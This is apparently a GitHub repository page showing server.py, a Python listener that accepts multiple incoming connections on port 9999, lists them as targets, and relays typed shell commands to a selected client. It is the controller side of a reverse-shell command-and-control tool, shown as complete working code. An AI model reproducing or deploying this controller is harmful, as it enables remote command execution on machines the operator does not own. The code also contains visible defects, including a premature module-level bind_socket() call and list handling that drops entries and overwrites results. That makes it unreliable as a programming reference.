-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathserver.py
More file actions
193 lines (139 loc) · 4.4 KB
/
Copy pathserver.py
File metadata and controls
193 lines (139 loc) · 4.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
import socket
import threading
from queue import Queue
NUMBER_OF_THREADS = 2
JOB_NUMBER = [0, 1]
queue = Queue()
event = threading.Event()
connections = []
addresses = []
# Creating a socket for connecting two computers.
def create_socket():
try:
global host
global port
global s
host = ""
port = 9999
s = socket.socket()
except socket.error as sem:
print("Socket could not be created. Error Message: {}".format(sem))
# Binding the socket and listening for incoming connections.
def bind_socket():
try:
global host
global port
global s
print("Binding the port {}".format(str(port)))
s.bind((host, port))
s.listen(5)
except socket.error as sem:
print("Socket could not be binded. Error Message: {}".format(sem))
bind_socket()
# Handling and saving multiple connections.
# Closing previous connections when server.py file is restarted.
def accept_connection():
for c in connections:
c.close()
del connections[:]
del addresses[:]
while True:
try:
conn, address = s.accept()
s.setblocking(1) # Prevents timeout
connections.append(conn)
addresses.append(address)
print(f"\nConnection has been established> {address[0]}\n> ", end="")
except:
print("Error connection could not established.")
# 2nd thread functions - 1) See all the clients 2) Select a client 3) Send commands to the connected client.
# Interactive prompt for sending commands.
def start_cmp():
while True:
cmd = input("CMP> ")
if cmd == "help":
cmp_help()
elif "list" in cmd:
list_connections()
elif "select" in cmd:
conn = get_target(cmd)
if conn is not None:
send_commands(conn)
else:
print("Unknown command, to see all commands enter help command.")
# Display a help message for cmp.
def cmp_help():
print(
"---COMMANDS---\nhelp: print help message\nlist: list all available connections.\nselect: select and connect to a connection.(Example: select 0)"
)
# Display all current active connnections with the client.
def list_connections():
results = ""
if not connections:
print("There is no client connected to you\n")
else:
for i, conn in enumerate(connections):
try:
conn.send(str.encode(" "))
conn.recv(201480)
except:
del connections[i]
del addresses[i]
continue
results = "{} {} {} \n".format(
str(i), str(addresses[i][0]), str(addresses[i][1])
)
print("---Clients---\n{}".format(results))
def get_target(cmd):
try:
target = int(cmd.lstrip("select"))
print(target)
conn = connections[target]
print(f"Selected target {target}|{addresses[target][0]}")
return conn
except:
print("Selection not valid.")
return None
# Send commands to client.
def send_commands(conn):
init = True
while True:
try:
if init:
initial_response = str(conn.recv(1024), "utf-8")
print(initial_response, end="")
init = False
cmd = input()
if cmd == "quit":
break
if len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
client_response = str(conn.recv(20480), "utf-8")
print(client_response, end="")
except:
print("Error command could not be sent.")
# Create worker threads
def create_workers():
for _ in range(NUMBER_OF_THREADS):
t = threading.Thread(target=work)
t.daemon = True # Important to check if thread stopped with the program.
t.start()
# Allocate threads for jobs that is in the queue.
def work():
while True:
x = queue.get()
if x == 0:
create_socket()
bind_socket()
event.set()
accept_connection()
event.wait(timeout=5) # Wait for second thread to complete binding.
if x == 1 and event.is_set():
start_cmp()
queue.task_done()
def create_jobs():
for i in JOB_NUMBER:
queue.put(i)
queue.join()
create_workers()
create_jobs()